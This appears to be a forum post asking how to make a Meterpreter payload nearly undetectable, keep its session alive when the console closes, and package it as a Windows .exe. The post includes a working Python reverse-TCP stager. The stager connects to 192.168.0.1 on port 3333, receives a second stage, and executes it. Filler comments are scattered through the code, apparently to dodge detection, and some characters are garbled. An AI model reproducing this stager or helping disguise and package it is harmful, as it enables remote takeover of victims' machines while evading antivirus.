Problem with payloads?

I’m trying to create a payload that is (almost) undetectable and I was thinking how to change that stuff:

  1. after opening .py file it shows cmd and it works in background but when I will close that cmd window Meterpreter session closes (“Reason: Died”)
  2. how to change .py file to .exe file ? I tried using py2exe and it didn’t really help and I want that payload to work on windows without downloading python to open it

this is that .py file code:

#True
import socket,struct
#Nice
s=socket.socket(2,socket.SOCK_STREAM)
#Nice
s.connect((‘192.168.0.1’,3333))
#Nice
l=struct.unpack(’>I’,s.recv(4))0
#Nicee
d=s.recv(l)
#Nice
while len(d)<l:
d+=s.recv(l-len(d))
#Nice
exec(d,{‘s’:s})